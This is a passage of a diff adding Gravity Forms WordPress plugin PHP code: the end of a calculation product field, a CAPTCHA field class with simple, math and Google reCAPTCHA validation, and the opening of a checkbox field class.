$quantity_field = " <span class='ginput_quantity_label' {$style}>{$product_quantity_sub_label}</span> <input type='{$qty_input_type}' name='input_{$id}.3' value='{$quantity}' id='ginput_quantity_{$form_id}_{$this->id}' class='ginput_quantity' size='10' {$disabled_text}/>";
} elseif ( ! $this->disableQuantity ) {
$tabindex = $this->get_tabindex();
$quantity_field .= " <span class='ginput_quantity_label'>" . $product_quantity_sub_label . "</span> <input type='{$qty_input_type}' name='input_{$id}.3' value='{$quantity}' id='ginput_quantity_{$form_id}_{$this->id}' class='ginput_quantity' size='10' {$tabindex} {$disabled_text}/>";
} else {
if ( ! is_numeric( $quantity ) ) {
$quantity = 1;
}
if ( ! $has_quantity ) {
$quantity_field .= "<input type='hidden' name='input_{$id}.3' value='{$quantity}' class='ginput_quantity_{$form_id}_{$this->id} gform_hidden' />";
}
}
return "<div class='ginput_container ginput_container_product_calculation'>
<input type='hidden' name='input_{$id}.1' value='{$product_name}' class='gform_hidden' />
<span class='ginput_product_price_label'>" . gf_apply_filters( array( 'gform_product_price', $form_id, $this->id ), esc_html__( 'Price', 'gravityforms' ), $form_id ) . ":</span> <span class='ginput_product_price' id='{$field_id}'>" . esc_html( GFCommon::to_money( $price, $currency ) ) . "</span>
<input type='hidden' name='input_{$id}.2' id='ginput_base_price_{$form_id}_{$this->id}' class='gform_hidden' value='" . esc_attr( $price ) . "'/>
{$quantity_field}
</div>";
}
public function get_value_entry_detail( $value, $currency = '', $use_text = false, $format = 'html', $media = 'screen' ) {
if ( is_array( $value ) && ! empty( $value ) ) {
$product_name = trim( $value[ $this->id . '.1' ] );
$price = trim( $value[ $this->id . '.2' ] );
$quantity = trim( $value[ $this->id . '.3' ] );
$product = $product_name . ', ' . esc_html__( 'Qty: ', 'gravityforms' ) . $quantity . ', ' . esc_html__( 'Price: ', 'gravityforms' ) . $price;
return $product;
} else {
return '';
}
}
public function get_value_save_entry( $value, $form, $input_name, $lead_id, $lead ) {
// ignore submitted value and recalculate price in backend
list( $prefix, $field_id, $input_id ) = rgexplode( '_', $input_name, 3 );
if ( $input_id == 2 ) {
$currency = new RGCurrency( GFCommon::get_currency() );
$lead = empty( $lead ) ? RGFormsModel::get_lead( $lead_id ) : $lead;
$value = $currency->to_money( GFCommon::calculate( $this, $form, $lead ) );
}
return $value;
}
public function sanitize_settings() {
parent::sanitize_settings();
$this->enableCalculation = (bool) $this->enableCalculation;
}
}
GF_Fields::register( new GF_Field_Calculation() );

View File

@@ -0,0 +1,443 @@
<?php
if ( ! class_exists( 'GFForms' ) ) {
die();
}
class GF_Field_CAPTCHA extends GF_Field {
public $type = 'captcha';
public function get_form_editor_field_title() {
return esc_attr__( 'CAPTCHA', 'gravityforms' );
}
function get_form_editor_field_settings() {
return array(
'captcha_type_setting',
'captcha_size_setting',
'captcha_fg_setting',
'captcha_bg_setting',
'captcha_language_setting',
'captcha_theme_setting',
'conditional_logic_field_setting',
'error_message_setting',
'label_setting',
'label_placement_setting',
'description_setting',
'css_class_setting',
);
}
public function validate( $value, $form ) {
switch ( $this->captchaType ) {
case 'simple_captcha' :
if ( class_exists( 'ReallySimpleCaptcha' ) ) {
$prefix = $_POST[ "input_captcha_prefix_{$this->id}" ];
$captcha_obj = $this->get_simple_captcha();
if ( ! $captcha_obj->check( $prefix, str_replace( ' ', '', $value ) ) ) {
$this->failed_validation = true;
$this->validation_message = empty( $this->errorMessage ) ? esc_html__( "The CAPTCHA wasn't entered correctly. Go back and try it again.", 'gravityforms' ) : $this->errorMessage;
}
//removes old files in captcha folder (older than 1 hour);
$captcha_obj->cleanup();
}
break;
case 'math' :
$prefixes = explode( ',', $_POST[ "input_captcha_prefix_{$this->id}" ] );
$captcha_obj = $this->get_simple_captcha();
//finding first number
for ( $first = 0; $first < 10; $first ++ ) {
if ( $captcha_obj->check( $prefixes[0], $first ) ) {
break;
}
}
//finding second number
for ( $second = 0; $second < 10; $second ++ ) {
if ( $captcha_obj->check( $prefixes[2], $second ) ) {
break;
}
}
//if it is a +, perform the sum
if ( $captcha_obj->check( $prefixes[1], '+' ) ) {
$result = $first + $second;
} else {
$result = $first - $second;
}
if ( intval( $result ) != intval( $value ) ) {
$this->failed_validation = true;
$this->validation_message = empty( $this->errorMessage ) ? esc_html__( "The CAPTCHA wasn't entered correctly. Go back and try it again.", 'gravityforms' ) : $this->errorMessage;
}
//removes old files in captcha folder (older than 1 hour);
$captcha_obj->cleanup();
break;
default:
$this->validate_recaptcha( $form );
}
}
public function validate_recaptcha( $form ) {
// when user clicks on the "I'm not a robot" box, the response token is populated into a hidden field by Google, get token from POST
$response_token = sanitize_text_field( rgpost( 'g-recaptcha-response' ) );
$hash = sanitize_text_field( rgpost( 'gf-recaptcha-response-hash' ) );
if( GFFormDisplay::is_last_page( $form ) && $hash && wp_hash( $response_token ) === $hash ) {
$is_valid = true;
} else {
$is_valid = $this->verify_recaptcha_response( $response_token );
}
if ( ! $is_valid ) {
$this->failed_validation = true;
$this->validation_message = empty( $this->errorMessage ) ? __( 'The reCAPTCHA was invalid. Go back and try it again.', 'gravityforms' ) : $this->errorMessage;
}
}
public function verify_recaptcha_response( $response, $secret_key = null ) {
$verify_url = 'https://www.google.com/recaptcha/api/siteverify';
if ( $secret_key == null ) {
$secret_key = get_option( 'rg_gforms_captcha_private_key' );
}
// pass secret key and token for verification of whether the response was valid
$response = wp_remote_post( $verify_url, array(
'method' => 'POST',
'body' => array(
'secret' => $secret_key,
'response' => $response
),
) );
if ( ! is_wp_error( $response ) ) {
$result = json_decode( wp_remote_retrieve_body( $response ) );
return $result->success == true;
} else {
GFCommon::log_debug( __METHOD__ . '(): Validating the reCAPTCHA response has failed due to the following: ' . $response->get_error_message() );
}
return false;
}
public function get_field_input( $form, $value = '', $entry = null ) {
$form_id = $form['id'];
$is_entry_detail = $this->is_entry_detail();
$is_form_editor = $this->is_form_editor();
$id = (int) $this->id;
$field_id = $is_entry_detail || $is_form_editor || $form_id == 0 ? "input_$id" : 'input_' . $form_id . "_$id";
switch ( $this->captchaType ) {
case 'simple_captcha' :
$size = empty($this->simpleCaptchaSize) ? 'medium' : esc_attr( $this->simpleCaptchaSize );
$captcha = $this->get_captcha();
$tabindex = $this->get_tabindex();
$dimensions = $is_entry_detail || $is_form_editor ? '' : "width='" . esc_attr( rgar( $captcha, 'width' ) ) . "' height='" . esc_attr( rgar( $captcha, 'height' ) ) . "'";
return "<div class='gfield_captcha_container'><img class='gfield_captcha' src='" . esc_url( rgar( $captcha, 'url' ) ) . "' alt='' {$dimensions} /><div class='gfield_captcha_input_container simple_captcha_{$size}'><input type='text' name='input_{$id}' id='{$field_id}' {$tabindex}/><input type='hidden' name='input_captcha_prefix_{$id}' value='" . esc_attr( rgar( $captcha, 'prefix' ) ) . "' /></div></div>";
break;
case 'math' :
$size = empty( $this->simpleCaptchaSize ) ? 'medium' : esc_attr( $this->simpleCaptchaSize );
$captcha_1 = $this->get_math_captcha( 1 );
$captcha_2 = $this->get_math_captcha( 2 );
$captcha_3 = $this->get_math_captcha( 3 );
$tabindex = $this->get_tabindex();
$dimensions = $is_entry_detail || $is_form_editor ? '' : "width='" . esc_attr( rgar( $captcha_1, 'width' ) ) . "' height='" . esc_attr( rgar( $captcha_1, 'height' ) ) . "'";
$prefix_value = rgar( $captcha_1, 'prefix' ) . ',' . rgar( $captcha_2, 'prefix' ) . ',' . rgar( $captcha_3, 'prefix' );
return "<div class='gfield_captcha_container'><img class='gfield_captcha' src='" . esc_url( rgar( $captcha_1, 'url' ) ) . "' alt='' {$dimensions} /><img class='gfield_captcha' src='" . esc_url( rgar( $captcha_2, 'url' ) ) . "' alt='' {$dimensions} /><img class='gfield_captcha' src='" . esc_url( rgar( $captcha_3, 'url' ) ) . "' alt='' {$dimensions} /><div class='gfield_captcha_input_container math_{$size}'><input type='text' name='input_{$id}' id='{$field_id}' {$tabindex}/><input type='hidden' name='input_captcha_prefix_{$id}' value='" . esc_attr( $prefix_value ) . "' /></div></div>";
break;
default:
$site_key = get_option( 'rg_gforms_captcha_public_key' );
$secret_key = get_option( 'rg_gforms_captcha_private_key' );
$theme = in_array( $this->captchaTheme, array( 'blackglass', 'dark' ) ) ? 'dark' : 'light';
if ( $is_entry_detail || $is_form_editor ){
//for admin, show a thumbnail depending on chosen theme
if ( empty( $site_key ) || empty( $secret_key ) ) {
return "<div class='captcha_message'>" . __( 'To use the reCAPTCHA field you must do the following:', 'gravityforms' ) . "</div><div class='captcha_message'>1 - <a href='https://www.google.com/recaptcha/admin' target='_blank'>" . sprintf( __( 'Sign up%s for an API key pair for your site.', 'gravityforms' ), '</a>' ) . "</div><div class='captcha_message'>2 - " . sprintf( __( 'Enter your reCAPTCHA site and secret keys in the reCAPTCHA Settings section of the %sSettings page%s', 'gravityforms' ), "<a href='?page=gf_settings' target='_blank'>", '</a>' ) . '</div>';
} else {
return "<div class='ginput_container'><img class='gfield_captcha' src='" . GFCommon::get_base_url() . "/images/captcha_$theme.jpg' alt='reCAPTCHA' title='reCAPTCHA'/></div>";
}
}
else {
$language = empty( $this->captchaLanguage ) ? 'en' : $this->captchaLanguage;
// script is queued for the footer with the language property specified
wp_enqueue_script( 'gform_recaptcha', 'https://www.google.com/recaptcha/api.js?hl=' . $language . '&render=explicit', array(), false, true );
add_action( 'wp_footer', array( $this, 'ensure_recaptcha_js' ), 21 );
add_action( 'gform_preview_footer', array( $this, 'ensure_recaptcha_js' ) );
$tabindex = GFCommon::$tab_index++;
$stoken = '';
if ( $this->use_stoken() ) {
// The secure token is a deprecated feature of the reCAPTCHA API.
// https://developers.google.com/recaptcha/docs/secure_token
$secure_token = self::create_recaptcha_secure_token( $secret_key );
$stoken = sprintf( 'data-stoken=\'%s\'', esc_attr( $secure_token ) );
}
$output = "<div id='" . esc_attr( $field_id ) ."' class='ginput_container ginput_recaptcha' data-sitekey='" . esc_attr( $site_key ) . "' {$stoken} data-theme='" . esc_attr( $theme ) . "' data-tabindex='{$tabindex}'></div>";
$recaptcha_response = sanitize_text_field( rgpost( 'g-recaptcha-response' ) );
$current_page = GFFormDisplay::get_current_page( $form['id'] );
if( $recaptcha_response && ! $this->failed_validation && $current_page != $this->pageNumber ) {
$hash = sanitize_text_field( rgpost( 'gf-recaptcha-response-hash' ) );
if( ! $hash ) {
$hash = wp_hash( $recaptcha_response );
}
$hash = esc_attr( $hash );
$recaptcha_response = esc_attr( $recaptcha_response );
$output .= "<input type='hidden' name='g-recaptcha-response' value='{$recaptcha_response}'>";
$output .= "<input type='hidden' name='gf-recaptcha-response-hash' value='{$hash}'>";
}
return $output;
}
}
}
public function ensure_recaptcha_js(){
?>
<script type="text/javascript">
( function( $ ) {
$( document ).bind( 'gform_post_render', function() {
var gfRecaptchaPoller = setInterval( function() {
if( ! window.grecaptcha || ! window.grecaptcha.render ) {
return;
}
renderRecaptcha();
clearInterval( gfRecaptchaPoller );
}, 100 );
} );
} )( jQuery );
</script>
<?php
}
public function get_captcha() {
if ( ! class_exists( 'ReallySimpleCaptcha' ) ) {
return array();
}
$captcha = $this->get_simple_captcha();
//If captcha folder does not exist and can't be created, return an empty captcha
if ( ! wp_mkdir_p( $captcha->tmp_dir ) ) {
return array();
}
$captcha->char_length = 5;
switch ( $this->simpleCaptchaSize ) {
case 'small' :
$captcha->img_size = array( 100, 28 );
$captcha->font_size = 18;
$captcha->base = array( 8, 20 );
$captcha->font_char_width = 17;
break;
case 'large' :
$captcha->img_size = array( 200, 56 );
$captcha->font_size = 32;
$captcha->base = array( 18, 42 );
$captcha->font_char_width = 35;
break;
default :
$captcha->img_size = array( 150, 42 );
$captcha->font_size = 26;
$captcha->base = array( 15, 32 );
$captcha->font_char_width = 25;
break;
}
if ( ! empty( $this->simpleCaptchaFontColor ) ) {
$captcha->fg = $this->hex2rgb( $this->simpleCaptchaFontColor );
}
if ( ! empty( $this->simpleCaptchaBackgroundColor ) ) {
$captcha->bg = $this->hex2rgb( $this->simpleCaptchaBackgroundColor );
}
$word = $captcha->generate_random_word();
$prefix = mt_rand();
$filename = $captcha->generate_image( $prefix, $word );
$url = RGFormsModel::get_upload_url( 'captcha' ) . '/' . $filename;
$path = $captcha->tmp_dir . $filename;
if ( GFCommon::is_ssl() && strpos( $url, 'http:' ) !== false ) {
$url = str_replace( 'http:', 'https:', $url );
}
return array( 'path' => $path, 'url' => $url, 'height' => $captcha->img_size[1], 'width' => $captcha->img_size[0], 'prefix' => $prefix );
}
public function get_simple_captcha() {
$captcha = new ReallySimpleCaptcha();
$captcha->tmp_dir = RGFormsModel::get_upload_path( 'captcha' ) . '/';
return $captcha;
}
public function get_math_captcha( $pos ) {
if ( ! class_exists( 'ReallySimpleCaptcha' ) ) {
return array();
}
$captcha = $this->get_simple_captcha();
//If captcha folder does not exist and can't be created, return an empty captcha
if ( ! wp_mkdir_p( $captcha->tmp_dir ) ) {
return array();
}
$captcha->char_length = 1;
if ( $pos == 1 || $pos == 3 ) {
$captcha->chars = '0123456789';
} else {
$captcha->chars = '+';
}
switch ( $this->simpleCaptchaSize ) {
case 'small' :
$captcha->img_size = array( 23, 28 );
$captcha->font_size = 18;
$captcha->base = array( 6, 20 );
$captcha->font_char_width = 17;
break;
case 'large' :
$captcha->img_size = array( 36, 56 );
$captcha->font_size = 32;
$captcha->base = array( 10, 42 );
$captcha->font_char_width = 35;
break;
default :
$captcha->img_size = array( 30, 42 );
$captcha->font_size = 26;
$captcha->base = array( 9, 32 );
$captcha->font_char_width = 25;
break;
}
if ( ! empty( $this->simpleCaptchaFontColor ) ) {
$captcha->fg = $this->hex2rgb( $this->simpleCaptchaFontColor );
}
if ( ! empty( $this->simpleCaptchaBackgroundColor ) ) {
$captcha->bg = $this->hex2rgb( $this->simpleCaptchaBackgroundColor );
}
$word = $captcha->generate_random_word();
$prefix = mt_rand();
$filename = $captcha->generate_image( $prefix, $word );
$url = RGFormsModel::get_upload_url( 'captcha' ) . '/' . $filename;
$path = $captcha->tmp_dir . $filename;
if ( GFCommon::is_ssl() && strpos( $url, 'http:' ) !== false ) {
$url = str_replace( 'http:', 'https:', $url );
}
return array( 'path' => $path, 'url' => $url, 'height' => $captcha->img_size[1], 'width' => $captcha->img_size[0], 'prefix' => $prefix );
}
private function hex2rgb( $color ) {
if ( $color[0] == '#' ) {
$color = substr( $color, 1 );
}
if ( strlen( $color ) == 6 ) {
list( $r, $g, $b ) = array(
$color[0] . $color[1],
$color[2] . $color[3],
$color[4] . $color[5],
);
} elseif ( strlen( $color ) == 3 ) {
list( $r, $g, $b ) = array( $color[0] . $color[0], $color[1] . $color[1], $color[2] . $color[2] );
} else {
return false;
}
$r = hexdec( $r );
$g = hexdec( $g );
$b = hexdec( $b );
return array( $r, $g, $b );
}
public function create_recaptcha_secure_token( $secret_key ) {
$secret_key = substr( hash( 'sha1', $secret_key, true ), 0, 16 );
$session_id = uniqid( 'recaptcha' );
$ts_ms = round( ( microtime( true ) - 1 ) * 1000 );
//create json string
$params = array( 'session_id' => $session_id, 'ts_ms' => $ts_ms );
$plaintext = json_encode( $params );
GFCommon::log_debug( 'recaptcha token parameters: ' . $plaintext );
//pad json string
$pad = 16 - ( strlen( $plaintext ) % 16 );
$padded = $plaintext . str_repeat( chr( $pad ), $pad );
//encrypt as 128
$cypher = defined( 'MCRYPT_RIJNDAEL_128' ) ? MCRYPT_RIJNDAEL_128 : false;
$encrypted = GFCommon::encrypt( $padded, $secret_key, $cypher );
$token = str_replace( array( '+', '/', '=' ), array( '-', '_', '' ), $encrypted );
GFCommon::log_debug( ' token being used is: ' . $token );
return $token;
}
public function use_stoken() {
// 'gform_recaptcha_keys_status' will be set to true if new keys have been entered
return ! get_option( 'gform_recaptcha_keys_status', false );
}
}
GF_Fields::register( new GF_Field_CAPTCHA() );

View File

@@ -0,0 +1,852 @@
<?php
if ( ! class_exists( 'GFForms' ) ) {
die();
}
class GF_Field_Checkbox extends GF_Field {
/**
* @var string $type The field type.
*/
public $type = 'checkbox';
// # FORM EDITOR & FIELD MARKUP -------------------------------------------------------------------------------------
/**
* Returns the field title.
*
* @since Unknown
* @access public
*
* @return string
*/
public function get_form_editor_field_title() {
return esc_attr__( 'Checkboxes', 'gravityforms' );
}
/**
* The class names of the settings which should be available on the field in the form editor.
*
* @since Unknown
* @access public
*
* @return array
*/
public function get_form_editor_field_settings() {
return array(
'conditional_logic_field_setting',
'prepopulate_field_setting',
'error_message_setting',
'label_setting',
'label_placement_setting',
'admin_label_setting',
'choices_setting',
'rules_setting',
'visibility_setting',
'description_setting',
'css_class_setting',
'select_all_choices_setting',
);
}
/**
* Indicate if this field type can be used when configuring conditional logic rules.
*
* @since Unknown
* @access public
*
* @return bool
*/
public function is_conditional_logic_supported() {
return true;
}
/**
* Returns the field inner markup.
*
* @since Unknown
* @access public
*
* @param array $form The Form Object currently being processed.
* @param string|array $value The field value. From default/dynamic population, $_POST, or a resumed incomplete submission.
* @param null|array $entry Null or the Entry Object currently being edited.
*
* @uses GF_Field::is_entry_detail()
* @uses GF_Field::is_form_editor()
* @uses GF_Field_Checkbox::get_checkbox_choices()
*
* @return string
*/
public function get_field_input( $form, $value = '', $entry = null ) {
$form_id = absint( $form['id'] );
$is_entry_detail = $this->is_entry_detail();
$is_form_editor = $this->is_form_editor();
$id = $this->id;
$field_id = $is_entry_detail || $is_form_editor || $form_id == 0 ? "input_$id" : 'input_' . $form_id . "_$id";
$disabled_text = $is_form_editor ? 'disabled="disabled"' : '';
return sprintf(
"<div class='ginput_container ginput_container_checkbox'><ul class='gfield_checkbox' id='%s'>%s</ul></div>",
esc_attr( $field_id ),
$this->get_checkbox_choices( $value, $disabled_text, $form_id )
);
}
// # SUBMISSION -----------------------------------------------------------------------------------------------------
/**
* Retrieve the field value on submission.
*
* @since Unknown
* @access public
*
* @param array $field_values The dynamic population parameter names with their corresponding values to be populated.
* @param bool|true $get_from_post_global_var Whether to get the value from the $_POST array as opposed to $field_values.
*
* @uses GFFormsModel::choice_value_match()
* @uses GFFormsModel::get_parameter_value()
*
* @return array|string
*/
public function get_value_submission( $field_values, $get_from_post_global_var = true ) {
// Get parameter values for field.
$parameter_values = GFFormsModel::get_parameter_value( $this->inputName, $field_values, $this );
// If parameter values exist but are not an array, convert to array.
if ( ! empty( $parameter_values ) && ! is_array( $parameter_values ) ) {
$parameter_values = explode( ',', $parameter_values );
}
// If no inputs are defined, return an empty string.
if ( ! is_array( $this->inputs ) ) {
return '';
}
// Set initial choice index.
$choice_index = 0;
// Initialize submission value array.
$value = array();
// Loop through field inputs.
foreach ( $this->inputs as $input ) {
if ( ! empty( $_POST[ 'is_submit_' . $this->formId ] ) && $get_from_post_global_var ) {
$input_value = rgpost( 'input_' . str_replace( '.', '_', strval( $input['id'] ) ) );
if ( is_array( $input_value ) ) {
$input_value = '';
}
$value[ strval( $input['id'] ) ] = $input_value;
} else {
if ( is_array( $parameter_values ) ) {
foreach ( $parameter_values as $item ) {
$item = trim( $item );
if ( GFFormsModel::choice_value_match( $this, $this->choices[ $choice_index ], $item ) ) {
$value[ $input['id'] . '' ] = $item;
break;
}
}
}
}
// Increase choice index.
$choice_index ++;
}
return $value;
}
// # ENTRY RELATED --------------------------------------------------------------------------------------------------
/**
* Format the entry value for display on the entries list page.
*
* Return a value that's safe to display on the page.
*
* @since Unknown
* @access public
*
* @param string|array $value The field value.
* @param array $entry The Entry Object currently being processed.
* @param string $field_id The field or input ID currently being processed.
* @param array $columns The properties for the columns being displayed on the entry list page.
* @param array $form The Form Object currently being processed.
*
* @uses GFCommon::implode_non_blank()
* @uses GFCommon::prepare_post_category_value()
* @uses GFCommon::selection_display()
* @uses GF_Field_Checkbox::is_checkbox_checked()
*
* @return string
*/
public function get_value_entry_list( $value, $entry, $field_id, $columns, $form ) {
// If this is the main checkbox field (not an input), display a comma separated list of all inputs.
if ( absint( $field_id ) == $field_id ) {
$lead_field_keys = array_keys( $entry );
$items = array();
foreach ( $lead_field_keys as $input_id ) {
if ( is_numeric( $input_id ) && absint( $input_id ) == $field_id ) {
$items[] = GFCommon::selection_display( rgar( $entry, $input_id ), null, $entry['currency'], false );
}
}
$value = GFCommon::implode_non_blank( ', ', $items );
// Special case for post category checkbox fields.
if ( $this->type == 'post_category' ) {
$value = GFCommon::prepare_post_category_value( $value, $this, 'entry_list' );
}
} else {
$value = '';
if ( ! rgblank( $this->is_checkbox_checked( $field_id, $columns[ $field_id ]['label'], $entry ) ) ) {
$value = "<i class='fa fa-check gf_valid'></i>";
}
}
return $value;
}
/**
* Format the entry value for display on the entry detail page and for the {all_fields} merge tag.
*
* Return a value that's safe to display for the context of the given $format.
*
* @since Unknown
* @access public
*
* @param string|array $value The field value.
* @param string $currency The entry currency code.
* @param bool|false $use_text When processing choice based fields should the choice text be returned instead of the value.
* @param string $format The format requested for the location the merge is being used. Possible values: html, text or url.
* @param string $media The location where the value will be displayed. Possible values: screen or email.
*
* @uses GFCommon::selection_display()
*
* @return string
*/
public function get_value_entry_detail( $value, $currency = '', $use_text = false, $format = 'html', $media = 'screen' ) {
if ( is_array( $value ) ) {
$items = '';
foreach ( $value as $key => $item ) {
if ( ! rgblank( $item ) ) {
switch ( $format ) {
case 'text' :
$items .= GFCommon::selection_display( $item, $this, $currency, $use_text ) . ', ';
break;
default:
$items .= '<li>' . GFCommon::selection_display( $item, $this, $currency, $use_text ) . '</li>';
break;
}
}
}
if ( empty( $items ) ) {
return '';
} elseif ( $format == 'text' ) {
return substr( $items, 0, strlen( $items ) - 2 ); // Removing last comma.
} else {
return "<ul class='bulleted'>$items</ul>";
}
} else {
return $value;
}
}
/**
* Gets merge tag values.
*
* @since Unknown
* @access public
*
* @uses GFCommon::to_money()
* @uses GFCommon::format_post_category()
* @uses GFFormsModel::is_field_hidden()
* @uses GFFormsModel::get_choice_text()
* @uses GFCommon::format_variable_value()
* @uses GFCommon::implode_non_blank()
*
* @param array|string $value The value of the input.
* @param string $input_id The input ID to use.
* @param array $entry The Entry Object.
* @param array $form The Form Object
* @param string $modifier The modifier passed.
* @param array|string $raw_value The raw value of the input.
* @param bool $url_encode If the result should be URL encoded.
* @param bool $esc_html If the HTML should be escaped.
* @param string $format The format that the value should be.
* @param bool $nl2br If the nl2br function should be used.
*
* @uses GFCommon::format_post_category()
* @uses GFCommon::format_variable_value()
* @uses GFCommon::implode_non_blank()
* @uses GFCommon::to_money()
* @uses GFFormsModel::is_field_hidden()
*
* @return string The processed merge tag.
*/
public function get_value_merge_tag( $value, $input_id, $entry, $form, $modifier, $raw_value, $url_encode, $esc_html, $format, $nl2br ) {
// Check for passed modifiers.
$use_value = $modifier == 'value';
$use_price = in_array( $modifier, array( 'price', 'currency' ) );
$format_currency = $modifier == 'currency';
if ( is_array( $raw_value ) && (string) intval( $input_id ) != $input_id ) {
$items = array( $input_id => $value ); // Float input IDs. (i.e. 4.1 ). Used when targeting specific checkbox items.
} elseif ( is_array( $raw_value ) ) {
$items = $raw_value;
} else {
$items = array( $input_id => $raw_value );
}
$ary = array();
// Get the items available within the merge tags.
foreach ( $items as $input_id => $item ) {
// If the 'value' modifier was passed.
if ( $use_value ) {
list( $val, $price ) = rgexplode( '|', $item, 2 );
// If the 'price' or 'currency' modifiers were passed.
} elseif ( $use_price ) {
list( $name, $val ) = rgexplode( '|', $item, 2 );
if ( $format_currency ) {
$val = GFCommon::to_money( $val, rgar( $entry, 'currency' ) );
}
// If this is a post category checkbox.
} else if ( $this->type == 'post_category' ) {
$use_id = strtolower( $modifier ) == 'id';
$item_value = GFCommon::format_post_category( $item, $use_id );
$val = GFFormsModel::is_field_hidden( $form, $this, array(), $entry ) ? '' : $item_value;
// If no modifiers were passed.
} else {
$val = GFFormsModel::is_field_hidden( $form, $this, array(), $entry ) ? '' : RGFormsModel::get_choice_text( $this, $raw_value, $input_id );
}
$ary[] = GFCommon::format_variable_value( $val, $url_encode, $esc_html, $format );
}
return GFCommon::implode_non_blank( ', ', $ary );
}
/**
* Sanitize and format the value before it is saved to the Entry Object.
*
* @since Unknown
* @access public
*
* @param string $value The value to be saved.
* @param array $form The Form Object currently being processed.
* @param string $input_name The input name used when accessing the $_POST.
* @param int $lead_id The ID of the Entry currently being processed.
* @param array $lead The Entry Object currently being processed.
*
* @uses GF_Field_Checkbox::sanitize_entry_value()
*
* @return array|string The safe value.
*/
public function get_value_save_entry( $value, $form, $input_name, $lead_id, $lead ) {
if ( rgblank( $value ) ) {
return '';
} elseif ( is_array( $value ) ) {
foreach ( $value as &$v ) {
if ( is_array( $v ) ) {
$v = '';
}
$v = $this->sanitize_entry_value( $v, $form['id'] );
}
return implode( ',', $value );
} else {
return $this->sanitize_entry_value( $value, $form['id'] );
}
}
/**
* Format the entry value before it is used in entry exports and by framework add-ons using GFAddOn::get_field_value().
*
* @since Unknown
* @access public
*
* @param array $entry The entry currently being processed.
* @param string $input_id The field or input ID.
* @param bool|false $use_text When processing choice based fields should the choice text be returned instead of the value.
* @param bool|false $is_csv Is the value going to be used in the .csv entries export?
*
* @uses GFCommon::get_label()
* @uses GFCommon::selection_display()
* @uses GF_Field_Checkbox::is_checkbox_checked()
*
* @return string
*/
public function get_value_export( $entry, $input_id = '', $use_text = false, $is_csv = false ) {
if ( empty( $input_id ) || absint( $input_id ) == $input_id ) {
$selected = array();
foreach ( $this->inputs as $input ) {
$index = (string) $input['id'];
if ( ! rgempty( $index, $entry ) ) {
$selected[] = GFCommon::selection_display( rgar( $entry, $index ), $this, rgar( $entry, 'currency' ), $use_text );
}
}
return implode( ', ', $selected );
} else if ( $is_csv ) {
$value = $this->is_checkbox_checked( $input_id, GFCommon::get_label( $this, $input_id ), $entry );
return empty( $value ) ? '' : $value;
} else {
return GFCommon::selection_display( rgar( $entry, $input_id ), $this, rgar( $entry, 'currency' ), $use_text );
}
}
// # INPUT ATTRIBUTE HELPERS ----------------------------------------------------------------------------------------
/**
* Get checkbox choice inputs for field.
*
* @since Unknown
* @access public
*
* @param string|array $value The field value. From default/dynamic population, $_POST, or a resumed incomplete submission.
* @param string $disabled_text The HTML disabled attribute.
* @param int $form_id The current form ID.
*
* @uses GFCommon::to_number()
* @uses GF_Field::get_conditional_logic_event()
* @uses GF_Field::get_tabindex()
* @uses GF_Field::is_entry_detail()
* @uses GF_Field::is_form_editor()
* @uses GFFormsModel::choice_value_match()
*
* @return string
*/
public function get_checkbox_choices( $value, $disabled_text, $form_id = 0 ) {
$choices = '';
$is_entry_detail = $this->is_entry_detail();
$is_form_editor = $this->is_form_editor();
if ( is_array( $this->choices ) ) {
$choice_number = 1;
$count = 1;
// Add Select All choice.
if ( $this->enableSelectAll ) {
/**
* Modify the "Select All" checkbox label.
*
* @since 2.3
*
* @param string $select_label The "Select All" label.
* @param object $field The field currently being processed.
*/
$select_label = gf_apply_filters( array( 'gform_checkbox_select_all_label', $this->formId, $this->id ), esc_html__( 'Select All', 'gravityforms' ), $this );
$select_label = esc_html( $select_label );
/**
* Modify the "Deselect All" checkbox label.
*
* @since 2.3
*
* @param string $deselect_label The "Deselect All" label.
* @param object $field The field currently being processed.
*/
$deselect_label = gf_apply_filters( array( 'gform_checkbox_deselect_all_label', $this->formId, $this->id ), esc_html__( 'Deselect All', 'gravityforms' ), $this );
$deselect_label = esc_html( $deselect_label );
// Get tabindex.
$tabindex = $this->get_tabindex();
// Prepare choice ID.
$id = 'choice_' . $this->id . '_select_all';
// Prepare choice markup.
$choice_markup = "<li class='gchoice_select_all'>
<input type='checkbox' id='{$id}' {$tabindex} {$disabled_text} onclick='gformToggleCheckboxes( this )' onkeypress='gformToggleCheckboxes( this )' />
<label for='{$id}' id='label_" . $this->id . "_select_all' data-label-select='{$select_label}' data-label-deselect='{$deselect_label}'>{$select_label}</label>
</li>";
/**
* Override the default choice markup used when rendering radio button, checkbox and drop down type fields.
*
* @since 1.9.6
*
* @param string $choice_markup The string containing the choice markup to be filtered.
* @param array $choice An associative array containing the choice properties.
* @param object $field The field currently being processed.
* @param string $value The value to be selected if the field is being populated.
*/
$choices .= gf_apply_filters( array( 'gform_field_choice_markup_pre_render', $this->formId, $this->id ), $choice_markup, array(), $this, $value );
}
// Loop through field choices.
foreach ( $this->choices as $choice ) {
// Hack to skip numbers ending in 0, so that 5.1 doesn't conflict with 5.10.
if ( $choice_number % 10 == 0 ) {
$choice_number ++;
}
// Prepare input ID.
$input_id = $this->id . '.' . $choice_number;
if ( $is_entry_detail || $is_form_editor || $form_id == 0 ) {
$id = $this->id . '_' . $choice_number ++;
} else {
$id = $form_id . '_' . $this->id . '_' . $choice_number ++;
}
if ( ( $is_form_editor || ( ! isset( $_GET['gf_token'] ) && empty( $_POST ) ) ) && rgar( $choice, 'isSelected' ) ) {
$checked = "checked='checked'";
} elseif ( is_array( $value ) && GFFormsModel::choice_value_match( $this, $choice, rgget( $input_id, $value ) ) ) {
$checked = "checked='checked'";
} elseif ( ! is_array( $value ) && GFFormsModel::choice_value_match( $this, $choice, $value ) ) {
$checked = "checked='checked'";
} else {
$checked = '';
}
$logic_event = $this->get_conditional_logic_event( 'click' );
$tabindex = $this->get_tabindex();
$choice_value = $choice['value'];
if ( $this->enablePrice ) {
$price = rgempty( 'price', $choice ) ? 0 : GFCommon::to_number( rgar( $choice, 'price' ) );
$choice_value .= '|' . $price;
}
$choice_value = esc_attr( $choice_value );
$choice_markup = "<li class='gchoice_{$id}'>
<input name='input_{$input_id}' type='checkbox' $logic_event value='{$choice_value}' {$checked} id='choice_{$id}' {$tabindex} {$disabled_text} />
<label for='choice_{$id}' id='label_{$id}'>{$choice['text']}</label>
</li>";
/**
* Override the default choice markup used when rendering radio button, checkbox and drop down type fields.
*
* @since 1.9.6
*
* @param string $choice_markup The string containing the choice markup to be filtered.
* @param array $choice An associative array containing the choice properties.
